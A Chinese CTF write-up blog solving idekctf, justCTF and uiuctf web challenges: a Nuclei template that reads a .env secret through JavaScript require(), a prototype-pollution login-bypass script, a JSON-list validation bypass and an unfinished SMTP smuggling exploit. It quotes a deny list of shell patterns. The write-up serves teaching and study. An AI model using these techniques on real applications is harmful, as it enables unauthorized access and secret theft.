Overseas-CTF-replay

idekctf

https://ctf.idek.team

又是顶难web的一场比赛()

scanme

初看发现有yaml怀疑会不会有yaml反序列化但是审码头疼就放弃了

Nuclei?这是什么工具

1
Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。  

审计?大力审!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
from flask import Flask, send_file, request, jsonify
import subprocess
import json
import os
import tempfile
import yaml
from datetime import datetime
import re
from dotenv import load_dotenv

load_dotenv()

PORT = os.environ.get("PORT", 1337)
SECRET = os.environ.get("SECRET", "secret")
app = Flask(__name__)

def validate_template(template_content):
"""Validate Nuclei template YAML structure"""
try:
template = yaml.safe_load(template_content)

# Basic validation
if not isinstance(template, dict):
return False, "Template must be a YAML object"

if 'id' not in template:
return False, "Template must have an 'id' field"

if 'info' not in template:
return False, "Template must have an 'info' field"

# Check for potentially dangerous operations
dangerous_patterns = [
r'exec\s*:',
r'shell\s*:',
r'command\s*:',
r'file\s*:.*\.\./\.\.',
]

template_str = str(template_content).lower()
for pattern in dangerous_patterns:
if re.search(pattern, template_str):
return False, f"Template contains potentially dangerous operations: {pattern}"

return True, "Template is valid"

except yaml.YAMLError as e:
return False, f"Invalid YAML: {str(e)}"

def check_nuclei_installed():
"""Check if Nuclei is installed and accessible"""
try:
result = subprocess.run(['nuclei', '-version'],
capture_output=True, text=True, timeout=10)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False

@app.route('/')
def index():
return send_file("index.html")

@app.route('/scan', methods=['POST'])
def scan():
try:
# Check if Nuclei is installed
if not check_nuclei_installed():
return jsonify({
'success': False,
'error': 'Nuclei is not installed or not accessible. Please install Nuclei first.'
})

port = request.form.get('port', '80')
template_type = request.form.get('template_type', 'builtin')

# Validate port
try:
port_num = int(port)
if not (1 <= port_num <= 65535):
raise ValueError()
except ValueError:
return jsonify({'success': False, 'error': 'Invalid port number'})

# Build target URL (localhost only)
target = f"http://127.0.0.1:{port}"

# Build Nuclei command
cmd = ['nuclei', '-target', target, '-jsonl', '--no-color']

if template_type == 'custom':
template_content = request.form.get('template_content', '').strip()
if not template_content:
return jsonify({'success': False, 'error': 'Custom template content is required'})

# Validate custom template
is_valid, validation_msg = validate_template(template_content)
if not is_valid:
return jsonify({'success': False, 'error': f'Template validation failed: {validation_msg}'})

# Save custom template to temporary file
with tempfile.NamedTemporaryFile(mode='w', suffix='.yaml', delete=False) as f:
f.write(template_content)
template_file = f.name

cmd.extend(['-t', template_file])
else:
# Use built-in templates
builtin_template = request.form.get('builtin_template', 'http/misconfiguration')
admin_secret = request.headers.get('X-Secret')

if admin_secret != SECRET and builtin_template not in [
"http/misconfiguration",
"http/technologies",
"http/vulnerabilities",
"ssl",
"dns"
]:
return jsonify({
'success': False,
'error': 'Only administrators may enter a non-allowlisted template.'
})

cmd.extend(['-t', builtin_template])

# Add safety parameters
cmd.extend([
'-timeout', '30',
'-retries', '1',
'-rate-limit', '5'
])

# Run Nuclei scan
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)

# Clean up temporary file if it exists
if template_type == 'custom' and 'template_file' in locals():
try:
os.unlink(template_file)
except OSError:
pass

# Process results
if result.returncode == 0 or result.stdout:
output_lines = []

if result.stdout.strip():
# Parse JSON output
for line in result.stdout.strip().split('\n'):
if line.strip():
try:
finding = json.loads(line)
formatted_finding = f"""
🔍 Finding: {finding.get('info', {}).get('name', 'Unknown')}
📋 Template: {finding.get('template-id', 'N/A')}
🎯 Target: {finding.get('matched-at', 'N/A')}
⚠️ Severity: {finding.get('info', {}).get('severity', 'N/A')}
📝 Description: {finding.get('info', {}).get('description', 'N/A')}
🔗 Reference: {', '.join(finding.get('info', {}).get('reference', []))}
---"""
output_lines.append(formatted_finding)
except json.JSONDecodeError:
output_lines.append(f"Raw output: {line}")

if not output_lines:
output_lines.append("✅ No vulnerabilities or issues found.")

if result.stderr:
output_lines.append(f"\n⚠️ Warnings/Errors:\n{result.stderr}")

return jsonify({
'success': True,
'output': '\n'.join(output_lines)
})
else:
error_msg = result.stderr if result.stderr else "Scan completed with no output"
return jsonify({
'success': False,
'error': error_msg
})

except subprocess.TimeoutExpired:
return jsonify({
'success': False,
'error': 'Scan timed out. The target may be unresponsive.'
})
except Exception as e:
return jsonify({
'success': False,
'error': f'An error occurred: {str(e)}'
})

if __name__ == '__main__':
app.run("0.0.0.0", PORT)

是这么个页面,点击按钮向/scan路由发包,有四个参数

看看主要函数,检测yaml文件是否合规,甚至有黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def validate_template(template_content):
"""Validate Nuclei template YAML structure"""
try:
template = yaml.safe_load(template_content)

# Basic validation
if not isinstance(template, dict):
return False, "Template must be a YAML object"

if 'id' not in template:
return False, "Template must have an 'id' field"

if 'info' not in template:
return False, "Template must have an 'info' field"

# Check for potentially dangerous operations
dangerous_patterns = [
r'exec\s*:',
r'shell\s*:',
r'command\s*:',
r'file\s*:.*\.\./\.\.',
]

template_str = str(template_content).lower()
for pattern in dangerous_patterns:
if re.search(pattern, template_str):
return False, f"Template contains potentially dangerous operations: {pattern}"

return True, "Template is valid"

根据dockerfile里flag的位置,这道题大抵得RCE的,我们关注一下

1
2
3
4
5
6
7
8
9
10
is_valid, validation_msg = validate_template(template_content)
if not is_valid:
return jsonify({'success': False, 'error': f'Template validation failed: {validation_msg}'})

# Save custom template to temporary file
with tempfile.NamedTemporaryFile(mode='w', suffix='.yaml', delete=False) as f:
f.write(template_content)
template_file = f.name

cmd.extend(['-t', template_file])

在选择custom后,会验证我们的yaml数据是否符合格式,然后再创建一个临时文件,/tmp/<random_characters>.yaml,用于-t解析模板,结束后会unlink

而另一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
builtin_template = request.form.get('builtin_template', 'http/misconfiguration')
admin_secret = request.headers.get('X-Secret')

if admin_secret != SECRET and builtin_template not in [
"http/misconfiguration",
"http/technologies",
"http/vulnerabilities",
"ssl",
"dns"
]:
return jsonify({
'success': False,
'error': 'Only administrators may enter a non-allowlisted template.'
})

cmd.extend(['-t', builtin_template])

如果我们拿到Secrete,就可以解析任意模板了,其实就是可以解析任意文件了?如果直通/flag.txt呢?也许我们等会可以本地搭环境进去shell里面,试试这个命令是否可以爆出文件内容

-t, -templates string[] 指定要运行的模板或者模板目录(以逗号分隔或目录形式)

Nuclei 支持两种方式加载模板:

  1. 直接指定 YAML 文件路径_(如 __-t /path/to/template.yaml_)。
  2. 使用内置模板名称_(如 __-t "http/misconfiguration"_),Nuclei 会自动从内置模板库加载。

所以可以理解了~

所谓模板类似如下:

1
2
3
4
5
6
7
8
9
10
11
12
id: example-vuln
info:
name: Example Vulnerability
author: yourname
requests:
- method: GET
path: "/admin.php"
matchers:
- type: word
words:
- "Admin Panel"
- "Login"

在validate_template时,是safe_load,那么在模板解析时呢?

但是稍微查了一下Go 的 **yaml.Unmarshal** 不会执行代码,因此即使恶意模板包含 !!python/object 这类标签,也不会被解析成代码执行。 不尽人意

综合上述分析,关键在于泄露出SECRET环境变量

而关于这个问题着实没有头绪,让我们看看老外的思路是什么:

泄露环境变量

Nuclei 允许在 YAML 模板中使用 JavaScript 代码(javascript: 模块),用于执行动态检测逻辑。
例如:

1
2
3
4
5
javascript:
- code: |
const fs = require('nuclei/fs');
const content = fs.ReadFileAsString('/etc/passwd');
log(content);

但默认情况下,Nuclei 禁止直接读取系统文件(除非启用 -lfa 参数)。

但是柳暗花明,require()是 JavaScript 语言的原生功能,动态加载机制不受 Nuclei 的沙盒限制。

JavaScript 的 require() 会尝试加载并执行指定的文件。
如果目标文件是 合法的 JavaScript/JSON 语法,它会被成功解析并执行。

相当于将任意符合js语法的文件内容加载,再利用log, 专门用于将数据输出到 Nuclei 的扫描结果中, 将内容传递给 Nuclei 的日志系统。

Goja 默认不提供 **console** 对象
与 Node.js 或浏览器不同,Goja 是一个精简的 JavaScript 引擎,没有内置 console API。

如果,环境变量存储在一个文件中,且这个文件符合js格式,是不是就可以实现了呢?

这里就要好好提醒大家看全文件了,在给的附件里,还有一个.env的文件,而里面:

1
2
PORT=1337
SECRET="REDACTED"

再看Dockerfile如何处理它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
FROM python:3.11-slim

RUN apt-get update && apt-get install -y \
wget \
ca-certificates \
&& rm -rf /var/lib/apt/lists/*

ENV GO_VERSION=1.21.5
RUN wget https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz && \
tar -C /usr/local -xzf go${GO_VERSION}.linux-amd64.tar.gz && \
rm go${GO_VERSION}.linux-amd64.tar.gz

ENV PATH=$PATH:/usr/local/go/bin
ENV GOPATH=/go
ENV PATH=$PATH:$GOPATH/bin

RUN groupadd -r nuclei && useradd -m -g nuclei nuclei

WORKDIR /home/nuclei

COPY app.py .
COPY .env .
COPY index.html .
COPY requirements.txt .
COPY flag.txt /

RUN pip install --no-cache-dir -r requirements.txt

RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

RUN /go/bin/nuclei -update-templates

USER nuclei

EXPOSE 1337

CMD ["python", "app.py"]

欧克可以确定目录了!!/home/nuclei/.env

现在,只剩最后一步,这个格式是否符合js?直接试吧就,本地shell环境即可~

我疯了,wsl崩了docker崩了,配置坏境超级慢

不过大抵上是可以的,这道题主要在于理解这个工具,知道怎么写yaml格式,知道js的一些tricks

justctf

https://2025.justctf.team/

Positive Players

初看不惊人,坐牢就明白了()

老外的原型链污染考察这么神

看一下源码,明确禁止了__proto__,constructor,prototype

在整个注册过程中

新增了一个字典

1
2
3
4
5
6
7
8
9
10
11
12
users[username] = {
password: password,
isAdmin: false,
themeConfig: {
theme: {
primaryColor: '#6200EE',
secondaryColor: '#03DAC6',
fontSize: '16px',
fontFamily: 'Roboto, sans-serif'
}
}
};

污染的关键函数

1
2
3
4
5
6
7
8
9
const deepMerge = (target, source) => {
for (const key in source) {
if (source[key] instanceof Object && key in target) {
Object.assign(source[key], deepMerge(target[key], source[key]));
}
}
Object.assign(target || {}, source);
return target;
};

只有污染user[username].isAdmin=true才行

但是我们知道,哪怕我们绕过了__proto__实现污染,获得以下效果

1
2
3
4
5
6
7
8
> users['a'].themeConfig.theme.__proto__.isAdmin = true;
< true
> users['a'].themeConfig.theme.isAdmin;
< true
> users['a'].themeConfig.isAdmin;
< true
> users['a'].isAdmin;
< false

user[‘a’]自身存在这个isAdmin属性,只有不存在的时候才可以污染成功

到底应该怎么办呢

有这么个toString

当我们随便注册一个账户进行污染时

toString.isAdmin=1时

toStrinf已经被污染

这个时候登录一个username=toString的账号,不传password

因为if (user && user.password === password),可以绕过

或者你污染toString.password?没试,应该可

进去之后直接/flag

成功拿到

justCTF{This_Prototype_Pollution_variant_actually_works_on_real_apps!_3rcwtirsieh}

同上,__defineGetter__也是一样的效果

再发现valueOf也是如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import random

HOST = 'http://o4pbo50evbr728wcmfazbuhlb9m5hh.positiveplayers.web.jctf.pro'
sess = requests.Session()

# Register
username = password = random.randbytes(4).hex()
register_data = {
'username': username,
'password': password,
}
r = sess.post(HOST + '/register', data=register_data, allow_redirects=False)
print(r.status_code, r.text)

# Write to objects in the prototype because `key in target` checks the prototype
# so `deepMerge(target[key], source[key])` allows writing to prototype objects
r = sess.get(HOST + '/theme?valueOf.isAdmin=1', allow_redirects=False)
print(r.status_code, r.text)

# Login with the username `__defineGetter__`
# Omit password to pass `if (user && user.password === password)`
# Then `users[req.session.userId].isAdmin` equals `users.__defineGetter__.isAdmin`
login_data = {
'username': 'valueOf',
# 'password': password,
}

r = sess.post(HOST + '/login', data=login_data, allow_redirects=False)
print(r.status_code, r.text)

r = sess.get(HOST + '/flag', allow_redirects=False)
print(r.text)

看看

1
2
3
4
5
6
7
8
9
10
11
function getAllProperties(obj) {
const props = new Set();
let currentObj = obj;

while (currentObj !== null) {
Object.getOwnPropertyNames(currentObj).forEach(prop => props.add(prop));
currentObj = Object.getPrototypeOf(currentObj);
}

return Array.from(props);
}

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
All properties of user: [
'password',
'isAdmin',
'themeConfig',
'constructor',
'__defineGetter__',
'__defineSetter__',
'hasOwnProperty',
'__lookupGetter__',
'__lookupSetter__',
'isPrototypeOf',
'propertyIsEnumerable',
'toString',
'valueOf',
'__proto__',
'toLocaleString'
]

这些原型方法(不能被枚举的属性)(Object.prototype 原生提供 )都是可行的嘛?全部试试

欧克,测了一下全部可以~

一般咱们对于原型链污染,用__proto__这样可以影响到所有对象(已含有污染属性的对象除外)

而修改原型方法的属性,仅使用于如user[toString].isAdmin==true这种方式,审计的时候留个心眼即可~

该题倒是还未绕过WAF,不知道有无大手子绕过(虽然没用)

又想了一下,未必没用,浅试一下

1
2
3
4
5
6
r = sess.get(HOST + '/theme?__proto__.hack.isAdmin=1', allow_redirects=False)
login_data = {
'username': 'hack',
# 'password': password,
}
拿到flag{test}

user[hack].isAdmin=user.hack.isAdmin

user我们没有hack这个属性,因此成功原型链污染~

所以有无大手子绕过走出来啦?


1
2
3
4
if (source[key] instanceof Object
&& Object.prototype.hasOwnProperty.call(target, key)) {
Object.assign(source[key], deepMerge(target[key], source[key]));
}

只允许自身所属属性而非继承的属性归并,这种就不用担心污染咯(也许…)

Ticket Master(json,py特性绕过)

这一道题目解是第二多的,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python

from flask import Flask, render_template, request, jsonify

from ticket import generate_ticket, load_ticket

from wtforms import Form, StringField, IntegerField, FieldList

from wtforms.validators import DataRequired, NumberRange, AnyOf, Length

import random, base64

from os import environ

app = Flask(__name__)

GENERATED_TICKETS = []

SEAT_ROWS = list("ABCDEFX")

SEAT_NUMS = list("1234567")

SELLER_KEY = random.randbytes(16).hex()

print(f"[*] Generate special tickets using key: {SELLER_KEY}")

class TicketData(Form):

number = IntegerField(validators=[DataRequired()], default=lambda: random.randint(10000, 99999))

section = StringField(validators=[DataRequired(), AnyOf(["PLAYER", "VIP", "BACKSTAGE"])], default="PLAYER")

seat = FieldList(

​ StringField(validators=[DataRequired(), Length(min=1, max=1)]),

​ IntegerField(validators=[DataRequired(), NumberRange(min=1, max=7)])

)

type = StringField(validators=[DataRequired(), AnyOf(["FREE", "PAID", "ORGANIZER"])])

@app.route("/", methods=["GET"])

def index():

return render_template("index.html")

@app.route("/generate", methods=["POST"])

def generate():

if not request.is_json:

return jsonify({"error": "Invalid JSON"}), 400

data = request.get_json()

ticket_data = TicketData(data=data)

if len(ticket_data.seat) == 0:

​ ticket_data.seat.append_entry().data = random.choice(SEAT_ROWS)

​ ticket_data.seat.append_entry().data = random.choice(SEAT_NUMS)

if not any(key in data for key in ["number", "section", "seat", "type"]):

​ ticket_data.number.data = 2137

​ ticket_data.type.data = "FREE"

elif "seller_key" in data and data["seller_key"] == SELLER_KEY:

​ ticket_data.type.data = "PAID"

else:

return jsonify({"error": "You're not allowed to generate that ticket!"}), 422

if not ticket_data.validate() or ticket_data.data["seat"][0] not in SEAT_ROWS or ticket_data.data["seat"][1] not in SEAT_NUMS:

return jsonify({"error": "Something went wrong.."}), 500

data = ticket_data.data

seat = f"{data['section']}/{''.join(data['seat'])}"

if seat in GENERATED_TICKETS:

return jsonify({"error": "Sorry! Someone just bought this seat before you!"}), 410

try:

​ ticket = generate_ticket(

​ data["number"],

​ seat,

​ data["type"]

​ )

​ GENERATED_TICKETS.append(seat)

except Exception as ex:

return jsonify({"error": ex}), 500

return jsonify({"ticket": base64.b64encode(ticket).decode()}), 200

@app.route("/enter", methods=["POST"])

def enter():

if not request.is_json:

return jsonify({"error": "Invalid JSON"}), 400

data = request.get_json()

if "img" not in data:

return jsonify({"error": "Missing 'img' parameter"}), 400

try:

​ ticket_number, seat, type = load_ticket(base64.b64decode(data['img']))

return jsonify({

"ticket_number": ticket_number,

"seat": seat,

"message": f"Welcome!\nEnjoy {type} ticket!" if type in ["FREE", "PAID"] else environ["FLAG"]

​ }), 200

except Exception as ex:

return jsonify({"error": str(ex)}), 500

if __name__ == "__main__":

app.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111

import re, hashlib, hmac, cv2, numpy as np

from PIL import Image, ImageDraw, ImageFont

from io import BytesIO

import pytesseract

from os import environ

TICKET_TEMPLATE = "assets/ticket.jpg"

ALLOWED_PATTERN = re.compile(r'^[A-Z0-9/]+$', re.A | re.I)

def add_text(img, text, pos):

if not ALLOWED_PATTERN.match(text):

raise ValueError("Illegal characters used")

img_pil = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))

draw = ImageDraw.Draw(img_pil)

font = ImageFont.truetype('assets/comic.ttf', 25)

while text:

​ bbox = font.getbbox(text)

​ text_width = bbox[2] - bbox[0]

if text_width <= 160:

break

​ text = text[:-1]

draw.text(pos, text, font=font, fill=(0, 0, 0))

img[:] = cv2.cvtColor(np.array(img_pil), cv2.COLOR_RGB2BGR)

def generate_signature(data):

return hmac.new(environ["SIGNATURE_SECRET_KEY"].encode(), data, hashlib.sha256).digest()

def generate_image_with_signature(img):

img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))

img_io = BytesIO()

img.save(img_io, format="JPEG")

signature = generate_signature(img_io.getvalue())

return img_io.getvalue() + signature

def generate_ticket(ticket_number, seat, type):

img = cv2.imread(TICKET_TEMPLATE)

add_text(img, str(ticket_number), (825, 297))

add_text(img, seat, (825, 327))

add_text(img, type, (825, 357))

return generate_image_with_signature(img)

def read_lines(img, n):

it = iter(line.strip() for line in pytesseract.image_to_string(img[297:392, 823:993]).split("\n") if line)

return [next(it, None) for _ in range(n)]

def parse_ticket_info(img):

return read_lines(img, 3)

def load_ticket(data):

if len(data) < 1024 or len(data) > 512_000:

raise ValueError("This is not a ticket!")

img_io = BytesIO(data[:-32])

signature = data[-32:]



if signature != generate_signature(img_io.getvalue()):

raise ValueError("Invalid signature")



img = Image.open(img_io)

if img.format != "JPEG" or img.mode != "RGB" or img.size != (1000, 400):

raise ValueError("Malformed ticket")



gray_img = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2GRAY)

return parse_ticket_info(gray_img)

源码逻辑很清晰,就算可以拿到门票去解析,如果

1
if type in ["FREE", "PAID"] else environ["FLAG"]

我们看看type

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

class TicketData(Form):

number = IntegerField(validators=[DataRequired()], default=lambda: random.randint(10000, 99999))

section = StringField(validators=[DataRequired(), AnyOf(["PLAYER", "VIP", "BACKSTAGE"])], default="PLAYER")

seat = FieldList(

​ StringField(validators=[DataRequired(), Length(min=1, max=1)]),

​ IntegerField(validators=[DataRequired(), NumberRange(min=1, max=7)])

)

type = StringField(validators=[DataRequired(), AnyOf(["FREE", "PAID", "ORGANIZER"])])

发现有一个ORGANIZER?

1
2
3
4
5

if not ticket_data.validate() or ticket_data.data["seat"][0] not in SEAT_ROWS or ticket_data.data["seat"][1] not in SEAT_NUMS:

return jsonify({"error": "Something went wrong.."}), 500

很明显,要绕过这个又要拿到flag,只能绕过伪造ORGANIZER

当然这个后续受困于题目,没必要

我们再看看生成票据的逻辑

/generate
1
2
3
4
5
6
7
8
9
10
11

if not any(key in data for key in ["number", "section", "seat", "type"]):

​ ticket_data.number.data = 2137

​ ticket_data.type.data = "FREE"

elif "seller_key" in data and data["seller_key"] == SELLER_KEY:

​ ticket_data.type.data = "PAID"

明显是,如果我们给的ticket数据只要啥都不含,则默认生成FREE票,但凡含有一个,就会检查你的seller_key,才可以生成PAID票

基本绕不过()

看看tickey.py的实现

1
2
3
4
5

def generate_signature(data):

return hmac.new(environ["SIGNATURE_SECRET_KEY"].encode(), data, hashlib.sha256).digest()

这是给图片弄了个签名

这个不知道签名咱是无法伪造图片的

而这里的pytesseract 做的就是把 cv2PIL 处理好的图像丢给 tesseract 程序,让它返回识别出来的文字。

最后进行一些处理,把识别的数据进行返回

当时想的是,有无可能存在OCR漏洞呢,错误识别FREE为不是FREE从而实现绕过拿到flag?

当然这个实际操作很乱,换了种思路

是不是只要我们能够控制某个值,多尝试一些字符混淆视听呢?

关键题目限制的看似很严密了,我们没有可以太过操控的地方

其实我们看看生成票据的逻辑

把视线放到seat上

1
2
3
4
5

if not ticket_data.validate() or ticket_data.data["seat"][0] not in SEAT_ROWS or ticket_data.data["seat"][1] not in SEAT_NUMS:

print("Something went wrong..")

1
2
3
4
5
6
7
8
9

seat = FieldList(

​ StringField(validators=[DataRequired(), Length(min=1, max=1)]),

​ IntegerField(validators=[DataRequired(), NumberRange(min=1, max=7)])

)

嗯,伪造票据,可以在seat上面动手脚

1
2
3
4
5
6
7
8
9

这里开发者显然想表示 seat = [行, 号](例如 ["A",3])。但实际写法让 FieldList 的子字段只有一个:单字符 StringField,而不是“两个不同类型的元素”。结果:

当我们把 "seat": "A1iiiii" 作为一个字符串喂给 FieldList 时,WTForms 会把它当成可迭代,据此创建若干个子条目:["A","1","i","i","i","i","i"]。

每个子条目都是长度为 1 的字符串,完全满足 DataRequired + Length(min=1,max=1),因此验证通过。

业务侧的“合法性检查”只看前两个元素

当时考虑这一方面,但是没意识到这里可以绕过(),当时太死板了

而且,读代码的时候,只要你想控制值,就必须知道SELLER_KEY,如何泄露也没有头绪

如果不能泄露,就还要尝试先如何绕过

1
if not any(key in data for key in ["number", "section", "seat", "type"]):

我们学习到了数组绕过

检查 data 中是否包含 "number""section""seat""type" 中的任意一个键。

****关键点****:

key in data****不适用于嵌套列表****,它只适用于字典或简单列表(检查元素是否存在)。

在 Python 中,["seat", "A1iiiii"] in [["seat", "A1iiiii"], ["section", "VIP"]]True,但 "seat" in dataFalse(因为 "seat" 不是 data 的直接元素,而是子列表的第一个元素)。

因此,any(key in data for key in ["number", "section", "seat", "type"])**返回 ****False**,因为 "seat""section" 不在 data 的顶层元素中。

1
2
3

[["seat", "A1success"], ["section", "VIP"]]

即可()

关注一下

1
2
3
4
5
6
7

if not request.is_json:

return jsonify({"error": "Invalid JSON"}), 400

data = request.get_json()

可以了解一些同样可被json解析的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

data = '[[]]'

print(json.loads(data))

data = '[["a", "b"], ["c", "d"]]'

print(json.loads(data))

data = '"this_is_str"'

print(json.loads(data))

data = "true"

print(json.loads(data))

data = "[ 1, 2, 3 ]"

print(json.loads(data))

data = "1e3"

print(json.loads(data))

data = "-1"

print(json.loads(data))

可以想到,[["seat", "A1success"], ["section", "VIP"]]

神了,这个时候可以走FREE,且我们可以操控seat绕过,任意注入一些字符,这个时候我们爆破只要有识别错误即可拿到flag

googlectf

https://capturetheflag.withgoogle.com/

uiuctf

blackhole

https://2025.uiuc.tf/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import smtplib
from email.mime.text import MIMEText
from flask import Flask, render_template, request, redirect, url_for, jsonify
import time
import uuid
from database import init_database, get_ticket_response

app = Flask(__name__)

init_database()

def new_data(self, msg):
self.putcmd("data")
(code, repl) = self.getreply()
if self.debuglevel > 0:
self._print_debug('data:', (code, repl))
if code != 354:
raise smtplib.SMTPDataError(code, repl)
else:
q = msg
self.send(q)
(code, msg) = self.getreply()
if self.debuglevel > 0:
self._print_debug('data:', (code, msg))
return (code, msg)

def return_unchanged(data):
return data

@app.route('/')
def index():
return render_template('index.html')

@app.route('/about')
def about():
return render_template('about.html')

@app.route('/tickets')
def view_tickets():
return render_template('tickets.html')

@app.route('/submit_ticket', methods=['POST'])
def submit_ticket():
subject = request.form.get('subject', '')
message = request.form.get('message', '')

# Generate unique ticket ID
ticket_id = str(uuid.uuid4())

original_fix_eols = smtplib._fix_eols
original_quote_periods = smtplib._quote_periods
original_data = smtplib.SMTP.data

try:
smtplib._fix_eols = return_unchanged
smtplib._quote_periods = return_unchanged
smtplib.SMTP.data = new_data

message_data = f"""\
From: support@blackholeticketing.com\r\n\
To: it@blackholeticketing.com\r\n\
Subject: {subject}\r\n\
X-Ticket-ID: {ticket_id}\r\n\
\r\n\
{message}\r\n\
.\r\n""".encode()

ending_count = message_data.count(b'\r\n.\r\n')
if ending_count != 1:
raise ValueError("Bad Request")

with smtplib.SMTP('localhost', 1025) as client:
client.helo("example.com")
client.sendmail('support@blackholeticketing.com', ['it@blackholeticketing.com'], message_data)
# Wait a second for SMTP to process the ticket
time.sleep(1)

ticket_data = {
'id': ticket_id,
'timestamp': int(time.time() * 1000),
'from': 'support@blackholeticketing.com',
'subject': subject,
'body': message,
'status': 'submitted'
}

return render_template('ticket_submitted.html', ticket_data=ticket_data)

except Exception as e:
return f"Error: {str(e)}"

finally:
smtplib._fix_eols = original_fix_eols
smtplib._quote_periods = original_quote_periods
smtplib.SMTP.data = original_data

@app.route('/check_response/<ticket_id>')
def check_response(ticket_id):
try:
response_data = get_ticket_response(ticket_id)

if response_data:
return jsonify(response_data)
else:
return jsonify({'status': 'pending'})

except Exception as e:
print(f"Error checking response: {e}")
return jsonify({'status': 'error', 'message': str(e)})

if __name__ == "__main__":
app.run()

flag在 internal.py 文件里,想要获取需要满足

1
2
if internal.leadership_email in from_header.lower():
response = "C-Suite ticket received! Will escalate immediately!" + f"\n{internal.flag}"

给的源码附件里并无 internal.py ,我们并不知道leadership_email
看一下web_server.py
发现关键路由
/submit_ticket
而这里默认

1
2
3
4
5
6
7
8
message_data = f"""\
From: support@blackholeticketing.com\r\n\
To: it@blackholeticketing.com\r\n\
Subject: {subject}\r\n\
X-Ticket-ID: {ticket_id}\r\n\
\r\n\
{message}\r\n\
.\r\n""".encode()

我们目的是让From的值被我们控制
嗯暂时无头绪,我们再看看
/check_response/
随便查一个已经传入的ticket

1
{"body":"1\r\n","from":"support@blackholeticketing.com","processed_by":"it_bot","response":"Request for support received! Will resolve after lunch break.","subject":"1","timestamp":1756280560003}

如我们所料
检索一下SMTP注入
SMTP是用于发送和传递电子邮件的协议,定义了邮件的传输方式和交流规则。
SMTP注入是指可通过添加/控制邮件头的方式,篡改邮件的发送者、抄送、密送等字段,从而达到欺骗、窃取邮件信息或劫持邮件传递的目的。
我们要修改的正是邮件的发送者
如果From不是在第一位,我们可以通过
subject = "Test\r\nFrom: leadership@blackholeticketing.com"
实现注入,现在当然是不现实的
我们再关注这一句话

1
2
3
ending_count = message_data.count(b'\r\n.\r\n')
if ending_count != 1:
raise ValueError("Bad Request")

要求\r\n.\r\n只出现一次,作为邮件结尾
所以这是在防御我们走私,防止我们继续发送了第二封邮件,达到发送多封伪造邮件的效果
https://cn-sec.com/archives/2349485.html
同HTTP请求走私一样,SMTP 走私的基本思想就是:
当SMTP对数据结束部分数据()有不同解释时,就会发生SMTP走私,如果SMTP服务器对消息数据结束的位置有不同的理解,攻击者可能会破坏消息数据。还可能执行指定任意SMTP命令,甚至发送单独的电子邮件。
对照这篇文章,如果接触过http走私,应该也能理解这部分内容
回到题目
这样的防御真的彻底吗?
假设找到类似\n.\r\n或是\n.\n也被认为是结束呢?
类似CVE-2024-27305 可以把\n\n.\r\n 视为 结束?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time

response = requests.post(
"http://127.0.0.1:44622/submit_ticket",
data={
'subject': 'Test',
